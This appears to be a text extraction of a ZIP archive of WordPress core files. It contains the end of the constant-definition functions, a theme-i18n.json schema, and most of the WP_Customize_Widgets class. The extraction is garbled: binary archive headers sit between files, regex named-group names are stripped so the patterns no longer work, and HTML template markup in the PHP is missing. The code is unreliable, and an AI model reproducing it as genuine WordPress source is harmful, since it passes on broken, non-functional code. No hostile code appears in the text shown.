'SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH ); } /** * @since 2.6.0 */ if ( ! defined( 'LOGGED_IN_COOKIE' ) ) { define( 'LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH ); } /** * @since 2.3.0 */ if ( ! defined( 'TEST_COOKIE' ) ) { define( 'TEST_COOKIE', 'wordpress_test_cookie' ); } /** * @since 1.2.0 */ if ( ! defined( 'COOKIEPATH' ) ) { define( 'COOKIEPATH', preg_replace( '|https?://[^/]+|i', '', get_option( 'home' ) . '/' ) ); } /** * @since 1.5.0 */ if ( ! defined( 'SITECOOKIEPATH' ) ) { define( 'SITECOOKIEPATH', preg_replace( '|https?://[^/]+|i', '', get_option( 'siteurl' ) . '/' ) ); } /** * @since 2.6.0 */ if ( ! defined( 'ADMIN_COOKIE_PATH' ) ) { define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' ); } /** * @since 2.6.0 */ if ( ! defined( 'PLUGINS_COOKIE_PATH' ) ) { define( 'PLUGINS_COOKIE_PATH', preg_replace( '|https?://[^/]+|i', '', WP_PLUGIN_URL ) ); } /** * @since 2.0.0 * @since 6.6.0 The value has changed from false to an empty string. */ if ( ! defined( 'COOKIE_DOMAIN' ) ) { define( 'COOKIE_DOMAIN', '' ); } if ( ! defined( 'RECOVERY_MODE_COOKIE' ) ) { /** * @since 5.2.0 */ define( 'RECOVERY_MODE_COOKIE', 'wordpress_rec_' . COOKIEHASH ); } } /** * Defines SSL-related WordPress constants. * * @since 3.0.0 */ function wp_ssl_constants() { /** * @since 2.6.0 */ if ( ! defined( 'FORCE_SSL_ADMIN' ) ) { if ( 'https' === parse_url( get_option( 'siteurl' ), PHP_URL_SCHEME ) ) { define( 'FORCE_SSL_ADMIN', true ); } else { define( 'FORCE_SSL_ADMIN', false ); } } force_ssl_admin( FORCE_SSL_ADMIN ); /** * @since 2.6.0 * @deprecated 4.0.0 */ if ( defined( 'FORCE_SSL_LOGIN' ) && FORCE_SSL_LOGIN ) { force_ssl_admin( true ); } } /** * Defines functionality-related WordPress constants. * * @since 3.0.0 */ function wp_functionality_constants() { /** * @since 2.5.0 */ if ( ! defined( 'AUTOSAVE_INTERVAL' ) ) { define( 'AUTOSAVE_INTERVAL', MINUTE_IN_SECONDS ); } /** * @since 2.9.0 */ if ( ! defined( 'EMPTY_TRASH_DAYS' ) ) { define( 'EMPTY_TRASH_DAYS', 30 ); } if ( ! defined( 'WP_POST_REVISIONS' ) ) { define( 'WP_POST_REVISIONS', true ); } /** * @since 3.3.0 */ if ( ! defined( 'WP_CRON_LOCK_TIMEOUT' ) ) { define( 'WP_CRON_LOCK_TIMEOUT', MINUTE_IN_SECONDS ); } } /** * Defines templating-related WordPress constants. * * @since 3.0.0 */ function wp_templating_constants() { /** * Filesystem path to the current active template directory. * * @since 1.5.0 * @deprecated 6.4.0 Use get_template_directory() instead. * @see get_template_directory() */ define( 'TEMPLATEPATH', get_template_directory() ); /** * Filesystem path to the current active template stylesheet directory. * * @since 2.1.0 * @deprecated 6.4.0 Use get_stylesheet_directory() instead. * @see get_stylesheet_directory() */ define( 'STYLESHEETPATH', get_stylesheet_directory() ); /** * Slug of the default theme for this installation. * Used as the default theme when installing new sites. * It will be used as the fallback if the active theme doesn't exist. * * @since 3.0.0 * * @see WP_Theme::get_core_default_theme() */ if ( ! defined( 'WP_DEFAULT_THEME' ) ) { define( 'WP_DEFAULT_THEME', 'twentytwentyfive' ); } } PK!çºãPÂÂtheme-i18n.jsonnuȯÝí{ "title": "Style variation name", "description": "Style variation description", "settings": { "typography": { "fontSizes": [ { "name": "Font size name" } ], "fontFamilies": [ { "name": "Font family name" } ] }, "color": { "palette": [ { "name": "Color name" } ], "gradients": [ { "name": "Gradient name" } ], "duotone": [ { "name": "Duotone name" } ] }, "spacing": { "spacingSizes": [ { "name": "Space size name" } ] }, "dimensions": { "aspectRatios": [ { "name": "Aspect ratio name" } ] }, "shadow": { "presets": [ { "name": "Shadow name" } ] }, "border": { "radiusSizes": [ { "name": "Border radius size name" } ] }, "blocks": { "*": { "typography": { "fontSizes": [ { "name": "Font size name" } ], "fontFamilies": [ { "name": "Font family name" } ] }, "color": { "palette": [ { "name": "Color name" } ], "gradients": [ { "name": "Gradient name" } ], "duotone": [ { "name": "Duotone name" } ] }, "dimensions": { "aspectRatios": [ { "name": "Aspect ratio name" } ] }, "spacing": { "spacingSizes": [ { "name": "Space size name" } ] }, "border": { "radiusSizes": [ { "name": "Border radius size name" } ] } } } }, "customTemplates": [ { "title": "Custom template name" } ], "templateParts": [ { "title": "Template part name" } ] } PK!aÒuøŸŸclass-wp-customize-widgets.phpnuȯÝí '/^widget_(?P.+?)(?:\[(?P\d+)\])?$/', 'sidebar_widgets' => '/^sidebars_widgets\[(?P.+?)\]$/', ); /** * Initial loader. * * @since 3.9.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. */ public function __construct( $manager ) { $this->manager = $manager; // See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449 add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_customize_dynamic_setting_args' ), 10, 2 ); add_action( 'widgets_init', array( $this, 'register_settings' ), 95 ); add_action( 'customize_register', array( $this, 'schedule_customize_register' ), 1 ); // Skip remaining hooks when the user can't manage widgets anyway. if ( ! current_user_can( 'edit_theme_options' ) ) { return; } add_action( 'wp_loaded', array( $this, 'override_sidebars_widgets_for_theme_switch' ) ); add_action( 'customize_controls_init', array( $this, 'customize_controls_init' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'customize_controls_print_styles', array( $this, 'print_styles' ) ); add_action( 'customize_controls_print_scripts', array( $this, 'print_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) ); add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) ); add_filter( 'customize_refresh_nonces', array( $this, 'refresh_nonces' ) ); add_filter( 'should_load_block_editor_scripts_and_styles', array( $this, 'should_load_block_editor_scripts_and_styles' ) ); add_action( 'dynamic_sidebar', array( $this, 'tally_rendered_widgets' ) ); add_filter( 'is_active_sidebar', array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 ); add_filter( 'dynamic_sidebar_has_widgets', array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 ); // Selective Refresh. add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 ); add_action( 'customize_preview_init', array( $this, 'selective_refresh_init' ) ); } /** * List whether each registered widget can be use selective refresh. * * If the theme does not support the customize-selective-refresh-widgets feature, * then this will always return an empty array. * * @since 4.5.0 * * @global WP_Widget_Factory $wp_widget_factory * * @return array Mapping of id_base to support. If theme doesn't support * selective refresh, an empty array is returned. */ public function get_selective_refreshable_widgets() { global $wp_widget_factory; if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return array(); } if ( ! isset( $this->selective_refreshable_widgets ) ) { $this->selective_refreshable_widgets = array(); foreach ( $wp_widget_factory->widgets as $wp_widget ) { $this->selective_refreshable_widgets[ $wp_widget->id_base ] = ! empty( $wp_widget->widget_options['customize_selective_refresh'] ); } } return $this->selective_refreshable_widgets; } /** * Determines if a widget supports selective refresh. * * @since 4.5.0 * * @param string $id_base Widget ID Base. * @return bool Whether the widget can be selective refreshed. */ public function is_widget_selective_refreshable( $id_base ) { $selective_refreshable_widgets = $this->get_selective_refreshable_widgets(); return ! empty( $selective_refreshable_widgets[ $id_base ] ); } /** * Retrieves the widget setting type given a setting ID. * * @since 4.2.0 * * @param string $setting_id Setting ID. * @return string|void Setting type. */ protected function get_setting_type( $setting_id ) { static $cache = array(); if ( isset( $cache[ $setting_id ] ) ) { return $cache[ $setting_id ]; } foreach ( $this->setting_id_patterns as $type => $pattern ) { if ( preg_match( $pattern, $setting_id ) ) { $cache[ $setting_id ] = $type; return $type; } } } /** * Inspects the incoming customized data for any widget settings, and dynamically adds * them up-front so widgets will be initialized properly. * * @since 4.2.0 */ public function register_settings() { $widget_setting_ids = array(); $incoming_setting_ids = array_keys( $this->manager->unsanitized_post_values() ); foreach ( $incoming_setting_ids as $setting_id ) { if ( ! is_null( $this->get_setting_type( $setting_id ) ) ) { $widget_setting_ids[] = $setting_id; } } if ( $this->manager->doing_ajax( 'update-widget' ) && isset( $_REQUEST['widget-id'] ) ) { $widget_setting_ids[] = $this->get_setting_id( wp_unslash( $_REQUEST['widget-id'] ) ); } $settings = $this->manager->add_dynamic_settings( array_unique( $widget_setting_ids ) ); if ( $this->manager->settings_previewed() ) { foreach ( $settings as $setting ) { $setting->preview(); } } } /** * Determines the arguments for a dynamically-created setting. * * @since 4.2.0 * * @param false|array $args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @return array|false Setting arguments, false otherwise. */ public function filter_customize_dynamic_setting_args( $args, $setting_id ) { if ( $this->get_setting_type( $setting_id ) ) { $args = $this->get_setting_args( $setting_id ); } return $args; } /** * Retrieves an unslashed post value or return a default. * * @since 3.9.0 * * @param string $name Post value. * @param mixed $default_value Default post value. * @return mixed Unslashed post value or default value. */ protected function get_post_value( $name, $default_value = null ) { if ( ! isset( $_POST[ $name ] ) ) { return $default_value; } return wp_unslash( $_POST[ $name ] ); } /** * Override sidebars_widgets for theme switch. * * When switching a theme via the Customizer, supply any previously-configured * sidebars_widgets from the target theme as the initial sidebars_widgets * setting. Also store the old theme's existing settings so that they can * be passed along for storing in the sidebars_widgets theme_mod when the * theme gets switched. * * @since 3.9.0 * * @global array $sidebars_widgets * @global array $_wp_sidebars_widgets */ public function override_sidebars_widgets_for_theme_switch() { global $sidebars_widgets; if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) { return; } $this->old_sidebars_widgets = wp_get_sidebars_widgets(); add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) ); $this->manager->set_post_value( 'old_sidebars_widgets_data', $this->old_sidebars_widgets ); // Override any value cached in changeset. // retrieve_widgets() looks at the global $sidebars_widgets. $sidebars_widgets = $this->old_sidebars_widgets; $sidebars_widgets = retrieve_widgets( 'customize' ); add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 ); // Reset global cache var used by wp_get_sidebars_widgets(). unset( $GLOBALS['_wp_sidebars_widgets'] ); } /** * Filters old_sidebars_widgets_data Customizer setting. * * When switching themes, filter the Customizer setting old_sidebars_widgets_data * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets(). * The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets * theme_mod. * * @since 3.9.0 * * @see WP_Customize_Widgets::handle_theme_switch() * * @param array $old_sidebars_widgets * @return array */ public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) { return $this->old_sidebars_widgets; } /** * Filters sidebars_widgets option for theme switch. * * When switching themes, the retrieve_widgets() function is run when the Customizer initializes, * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets * option. * * @since 3.9.0 * * @see WP_Customize_Widgets::handle_theme_switch() * @global array $sidebars_widgets * * @param array $sidebars_widgets * @return array */ public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) { $sidebars_widgets = $GLOBALS['sidebars_widgets']; $sidebars_widgets['array_version'] = 3; return $sidebars_widgets; } /** * Ensures all widgets get loaded into the Customizer. * * Note: these actions are also fired in wp_ajax_update_widget(). * * @since 3.9.0 */ public function customize_controls_init() { /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/widgets.php */ do_action( 'sidebar_admin_setup' ); } /** * Ensures widgets are available for all types of previews. * * When in preview, hook to {@see 'customize_register'} for settings after WordPress is loaded * so that all filters have been initialized (e.g. Widget Visibility). * * @since 3.9.0 */ public function schedule_customize_register() { if ( is_admin() ) { $this->customize_register(); } else { add_action( 'wp', array( $this, 'customize_register' ) ); } } /** * Registers Customizer settings and controls for all sidebars and widgets. * * @since 3.9.0 * * @global array $wp_registered_widgets * @global array $wp_registered_widget_controls * @global array $wp_registered_sidebars */ public function customize_register() { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars; $use_widgets_block_editor = wp_use_widgets_block_editor(); add_filter( 'sidebars_widgets', array( $this, 'preview_sidebars_widgets' ), 1 ); $sidebars_widgets = array_merge( array( 'wp_inactive_widgets' => array() ), array_fill_keys( array_keys( $wp_registered_sidebars ), array() ), wp_get_sidebars_widgets() ); $new_setting_ids = array(); /* * Register a setting for all widgets, including those which are active, * inactive, and orphaned since a widget may get suppressed from a sidebar * via a plugin (like Widget Visibility). */ foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) { $setting_id = $this->get_setting_id( $widget_id ); $setting_args = $this->get_setting_args( $setting_id ); if ( ! $this->manager->get_setting( $setting_id ) ) { $this->manager->add_setting( $setting_id, $setting_args ); } $new_setting_ids[] = $setting_id; } /* * Add a setting which will be supplied for the theme's sidebars_widgets * theme_mod when the theme is switched. */ if ( ! $this->manager->is_theme_active() ) { $setting_id = 'old_sidebars_widgets_data'; $setting_args = $this->get_setting_args( $setting_id, array( 'type' => 'global_variable', 'dirty' => true, ) ); $this->manager->add_setting( $setting_id, $setting_args ); } $this->manager->add_panel( 'widgets', array( 'type' => 'widgets', 'title' => __( 'Widgets' ), 'description' => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ), 'priority' => 110, 'active_callback' => array( $this, 'is_panel_active' ), 'auto_expand_sole_section' => true, 'theme_supports' => 'widgets', ) ); foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) { if ( empty( $sidebar_widget_ids ) ) { $sidebar_widget_ids = array(); } $is_registered_sidebar = is_registered_sidebar( $sidebar_id ); $is_inactive_widgets = ( 'wp_inactive_widgets' === $sidebar_id ); $is_active_sidebar = ( $is_registered_sidebar && ! $is_inactive_widgets ); // Add setting for managing the sidebar's widgets. if ( $is_registered_sidebar || $is_inactive_widgets ) { $setting_id = sprintf( 'sidebars_widgets[%s]', $sidebar_id ); $setting_args = $this->get_setting_args( $setting_id ); if ( ! $this->manager->get_setting( $setting_id ) ) { if ( ! $this->manager->is_theme_active() ) { $setting_args['dirty'] = true; } $this->manager->add_setting( $setting_id, $setting_args ); } $new_setting_ids[] = $setting_id; // Add section to contain controls. $section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id ); if ( $is_active_sidebar ) { $section_args = array( 'title' => $wp_registered_sidebars[ $sidebar_id ]['name'], 'priority' => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ), true ), 'panel' => 'widgets', 'sidebar_id' => $sidebar_id, ); if ( $use_widgets_block_editor ) { $section_args['description'] = ''; } else { $section_args['description'] = $wp_registered_sidebars[ $sidebar_id ]['description']; } /** * Filters Customizer widget section arguments for a given sidebar. * * @since 3.9.0 * * @param array $section_args Array of Customizer widget section arguments. * @param string $section_id Customizer section ID. * @param int|string $sidebar_id Sidebar ID. */ $section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id ); $section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args ); $this->manager->add_section( $section ); if ( $use_widgets_block_editor ) { $control = new WP_Sidebar_Block_Editor_Control( $this->manager, $setting_id, array( 'section' => $section_id, 'sidebar_id' => $sidebar_id, 'label' => $section_args['title'], 'description' => $section_args['description'], ) ); } else { $control = new WP_Widget_Area_Customize_Control( $this->manager, $setting_id, array( 'section' => $section_id, 'sidebar_id' => $sidebar_id, 'priority' => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end. ) ); } $this->manager->add_control( $control ); $new_setting_ids[] = $setting_id; } } if ( ! $use_widgets_block_editor ) { // Add a control for each active widget (located in a sidebar). foreach ( $sidebar_widget_ids as $i => $widget_id ) { // Skip widgets that may have gone away due to a plugin being deactivated. if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[ $widget_id ] ) ) { continue; } $registered_widget = $wp_registered_widgets[ $widget_id ]; $setting_id = $this->get_setting_id( $widget_id ); $id_base = $wp_registered_widget_controls[ $widget_id ]['id_base']; $control = new WP_Widget_Form_Customize_Control( $this->manager, $setting_id, array( 'label' => $registered_widget['name'], 'section' => $section_id, 'sidebar_id' => $sidebar_id, 'widget_id' => $widget_id, 'widget_id_base' => $id_base, 'priority' => $i, 'width' => $wp_registered_widget_controls[ $widget_id ]['width'], 'height' => $wp_registered_widget_controls[ $widget_id ]['height'], 'is_wide' => $this->is_wide_widget( $widget_id ), ) ); $this->manager->add_control( $control ); } } } if ( $this->manager->settings_previewed() ) { foreach ( $new_setting_ids as $new_setting_id ) { $this->manager->get_setting( $new_setting_id )->preview(); } } } /** * Determines whether the widgets panel is active, based on whether there are sidebars registered. * * @since 4.4.0 * * @see WP_Customize_Panel::$active_callback * * @global array $wp_registered_sidebars * * @return bool Active. */ public function is_panel_active() { global $wp_registered_sidebars; return ! empty( $wp_registered_sidebars ); } /** * Converts a widget_id into its corresponding Customizer setting ID (option name). * * @since 3.9.0 * * @param string $widget_id Widget ID. * @return string Maybe-parsed widget ID. */ public function get_setting_id( $widget_id ) { $parsed_widget_id = $this->parse_widget_id( $widget_id ); $setting_id = sprintf( 'widget_%s', $parsed_widget_id['id_base'] ); if ( ! is_null( $parsed_widget_id['number'] ) ) { $setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] ); } return $setting_id; } /** * Determines whether the widget is considered "wide". * * Core widgets which may have controls wider than 250, but can still be shown * in the narrow Customizer panel. The RSS and Text widgets in Core, for example, * have widths of 400 and yet they still render fine in the Customizer panel. * * This method will return all Core widgets as being not wide, but this can be * overridden with the {@see 'is_wide_widget_in_customizer'} filter. * * @since 3.9.0 * * @global array $wp_registered_widget_controls * * @param string $widget_id Widget ID. * @return bool Whether or not the widget is a "wide" widget. */ public function is_wide_widget( $widget_id ) { global $wp_registered_widget_controls; $parsed_widget_id = $this->parse_widget_id( $widget_id ); $width = $wp_registered_widget_controls[ $widget_id ]['width']; $is_core = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases, true ); $is_wide = ( $width > 250 && ! $is_core ); /** * Filters whether the given widget is considered "wide". * * @since 3.9.0 * * @param bool $is_wide Whether the widget is wide, Default false. * @param string $widget_id Widget ID. */ return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id ); } /** * Converts a widget ID into its id_base and number components. * * @since 3.9.0 * * @param string $widget_id Widget ID. * @return array Array containing a widget's id_base and number components. */ public function parse_widget_id( $widget_id ) { $parsed = array( 'number' => null, 'id_base' => null, ); if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) { $parsed['id_base'] = $matches[1]; $parsed['number'] = (int) $matches[2]; } else { // Likely an old single widget. $parsed['id_base'] = $widget_id; } return $parsed; } /** * Converts a widget setting ID (option path) to its id_base and number components. * * @since 3.9.0 * * @param string $setting_id Widget setting ID. * @return array|WP_Error Array containing a widget's id_base and number components, * or a WP_Error object. */ public function parse_widget_setting_id( $setting_id ) { if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) { return new WP_Error( 'widget_setting_invalid_id' ); } $id_base = $matches[2]; $number = isset( $matches[3] ) ? (int) $matches[3] : null; return compact( 'id_base', 'number' ); } /** * Calls admin_print_styles-widgets.php and admin_print_styles hooks to * allow custom styles from plugins. * * @since 3.9.0 */ public function print_styles() { /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles' ); } /** * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to * allow custom scripts from plugins. * * @since 3.9.0 */ public function print_scripts() { /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts' ); } /** * Enqueues scripts and styles for Customizer panel and export data to JavaScript. * * @since 3.9.0 * * @global WP_Scripts $wp_scripts * @global array $wp_registered_sidebars * @global array $wp_registered_widgets */ public function enqueue_scripts() { global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets; wp_enqueue_style( 'customize-widgets' ); wp_enqueue_script( 'customize-widgets' ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_enqueue_scripts', 'widgets.php' ); /* * Export available widgets with control_tpl removed from model * since plugins need templates to be in the DOM. */ $available_widgets = array(); foreach ( $this->get_available_widgets() as $available_widget ) { unset( $available_widget['control_tpl'] ); $available_widgets[] = $available_widget; } $widget_reorder_nav_tpl = sprintf( '
    %1$s%2$s%3$s
    ', __( 'Move to another area…' ), __( 'Move down' ), __( 'Move up' ) ); $move_widget_area_tpl = str_replace( array( '{description}', '{btn}' ), array( __( 'Select an area to move this widget into:' ), _x( 'Move', 'Move widget' ), ), '

    {description}

      <% _.each( sidebars, function ( sidebar ){ %>
    • <%- sidebar.name %>
      <%- sidebar.description %>
    • <% }); %>
    ' ); /* * Gather all strings in PHP that may be needed by JS on the client. * Once JS i18n is implemented (in #20491), this can be removed. */ $some_non_rendered_areas_messages = array(); $some_non_rendered_areas_messages[1] = html_entity_decode( __( 'Your theme has 1 other widget area, but this particular page does not display it.' ), ENT_QUOTES, get_bloginfo( 'charset' ) ); $registered_sidebar_count = count( $wp_registered_sidebars ); for ( $non_rendered_count = 2; $non_rendered_count < $registered_sidebar_count; $non_rendered_count++ ) { $some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode( sprintf( /* translators: %s: The number of other widget areas registered but not rendered. */ _n( 'Your theme has %s other widget area, but this particular page does not display it.', 'Your theme has %s other widget areas, but this particular page does not display them.', $non_rendered_count ), number_format_i18n( $non_rendered_count ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } if ( 1 === $registered_sidebar_count ) { $no_areas_shown_message = html_entity_decode( sprintf( __( 'Your theme has 1 widget area, but this particular page does not display it.' ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } else { $no_areas_shown_message = html_entity_decode( sprintf( /* translators: %s: The total number of widget areas registered. */ _n( 'Your theme has %s widget area, but this particular page does not display it.', 'Your theme has %s widget areas, but this particular page does not display them.', $registered_sidebar_count ), number_format_i18n( $registered_sidebar_count ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } $settings = array( 'registeredSidebars' => array_values( $wp_registered_sidebars ), 'registeredWidgets' => $wp_registered_widgets, 'availableWidgets' => $available_widgets, // @todo Merge this with registered_widgets. 'l10n' => array( 'saveBtnLabel' => __( 'Apply' ), 'saveBtnTooltip' => __( 'Save and preview changes before publishing them.' ), 'removeBtnLabel' => __( 'Remove' ), 'removeBtnTooltip' => __( 'Keep widget settings and move it to the inactive widgets' ), 'error' => __( 'An error has occurred. Please reload the page and try again.' ), 'widgetMovedUp' => __( 'Widget moved up' ), 'widgetMovedDown' => __( 'Widget moved down' ), 'navigatePreview' => __( 'You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.' ), 'someAreasShown' => $some_non_rendered_areas_messages, 'noAreasShown' => $no_areas_shown_message, 'reorderModeOn' => __( 'Reorder mode enabled' ), 'reorderModeOff' => __( 'Reorder mode closed' ), 'reorderLabelOn' => esc_attr__( 'Reorder widgets' ), /* translators: %d: The number of widgets found. */ 'widgetsFound' => __( 'Number of widgets found: %d' ), 'noWidgetsFound' => __( 'No widgets found.' ), ), 'tpl' => array( 'widgetReorderNav' => $widget_reorder_nav_tpl, 'moveWidgetArea' => $move_widget_area_tpl, ), 'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(), ); foreach ( $settings['registeredWidgets'] as &$registered_widget ) { unset( $registered_widget['callback'] ); // May not be JSON-serializable. } $wp_scripts->add_data( 'customize-widgets', 'data', sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); /* * TODO: Update 'wp-customize-widgets' to not rely so much on things in * 'customize-widgets'. This will let us skip most of the above and not * enqueue 'customize-widgets' which saves bytes. */ if ( wp_use_widgets_block_editor() ) { $block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/customize-widgets', ) ); $editor_settings = get_block_editor_settings( get_legacy_widget_block_editor_settings(), $block_editor_context ); wp_add_inline_script( 'wp-customize-widgets', sprintf( 'wp.domReady( function() { wp.customizeWidgets.initialize( "widgets-customizer", %s ); } );', wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); wp_enqueue_script( 'wp-customize-widgets' ); wp_enqueue_style( 'wp-customize-widgets' ); /** This action is documented in edit-form-blocks.php */ do_action( 'enqueue_block_editor_assets' ); } } /** * Renders the widget form control templates into the DOM. * * @since 3.9.0 */ public function output_widget_control_templates() { ?>

    manager->get_panel( 'widgets' ); $panel_title = isset( $panel->title ) ? $panel->title : __( 'Widgets' ); /* translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer. */ printf( __( 'Customizing ▸ %s' ), esc_html( $panel_title ) ); ?>

    get_available_widgets() as $available_widget ) : ?>

    'option', 'capability' => 'edit_theme_options', 'default' => array(), ); if ( preg_match( $this->setting_id_patterns['sidebar_widgets'], $id, $matches ) ) { $args['sanitize_callback'] = array( $this, 'sanitize_sidebar_widgets' ); $args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' ); $args['transport'] = current_theme_supports( 'customize-selective-refresh-widgets' ) ? 'postMessage' : 'refresh'; } elseif ( preg_match( $this->setting_id_patterns['widget_instance'], $id, $matches ) ) { $id_base = $matches['id_base']; $args['sanitize_callback'] = function ( $value ) use ( $id_base ) { return $this->sanitize_widget_instance( $value, $id_base ); }; $args['sanitize_js_callback'] = function ( $value ) use ( $id_base ) { return $this->sanitize_widget_js_instance( $value, $id_base ); }; $args['transport'] = $this->is_widget_selective_refreshable( $matches['id_base'] ) ? 'postMessage' : 'refresh'; } $args = array_merge( $args, $overrides ); /** * Filters the common arguments supplied when constructing a Customizer setting. * * @since 3.9.0 * * @see WP_Customize_Setting * * @param array $args Array of Customizer setting arguments. * @param string $id Widget setting ID. */ return apply_filters( 'widget_customizer_setting_args', $args, $id ); } /** * Ensures sidebar widget arrays only ever contain widget IDS. * * Used as the 'sanitize_callback' for each $sidebars_widgets setting. * * @since 3.9.0 * * @param string[] $widget_ids Array of widget IDs. * @return string[] Array of sanitized widget IDs. */ public function sanitize_sidebar_widgets( $widget_ids ) { $widget_ids = array_map( 'strval', (array) $widget_ids ); $sanitized_widget_ids = array(); foreach ( $widget_ids as $widget_id ) { $sanitized_widget_ids[] = preg_replace( '/[^a-z0-9_\-]/', '', $widget_id ); } return $sanitized_widget_ids; } /** * Builds up an index of all available widgets for use in Backbone models. * * @since 3.9.0 * * @global array $wp_registered_widgets * @global array $wp_registered_widget_controls * * @see wp_list_widgets() * * @return array List of available widgets. */ public function get_available_widgets() { static $available_widgets = array(); if ( ! empty( $available_widgets ) ) { return $available_widgets; } global $wp_registered_widgets, $wp_registered_widget_controls; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number(). $sort = $wp_registered_widgets; usort( $sort, array( $this, '_sort_name_callback' ) ); $done = array(); foreach ( $sort as $widget ) { if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget. continue; } $sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false ); $done[] = $widget['callback']; if ( ! isset( $widget['params'][0] ) ) { $widget['params'][0] = array(); } $available_widget = $widget; unset( $available_widget['callback'] ); // Not serializable to JSON. $args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template', ); $is_disabled = false; $is_multi_widget = ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ); if ( $is_multi_widget ) { $id_base = $wp_registered_widget_controls[ $widget['id'] ]['id_base']; $args['_temp_id'] = "$id_base-__i__"; $args['_multi_num'] = next_widget_id_number( $id_base ); $args['_add'] = 'multi'; } else { $args['_add'] = 'single'; if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) { $is_disabled = 